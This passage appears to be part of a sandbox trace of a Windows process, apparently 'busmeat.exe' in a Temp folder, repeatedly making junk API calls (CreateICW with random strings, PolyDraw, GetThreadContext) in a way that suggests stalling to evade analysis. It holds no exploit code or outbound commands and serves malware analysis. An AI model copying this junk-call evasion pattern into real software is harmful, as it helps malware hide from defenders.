[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.124] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.124] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.124] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.124] GetConsoleCP () returned 0x0
	[0066.124] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.125] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.125] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.125] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.125] GetConsoleCP () returned 0x0
	[0066.125] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.125] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.126] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.126] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.126] GetConsoleCP () returned 0x0
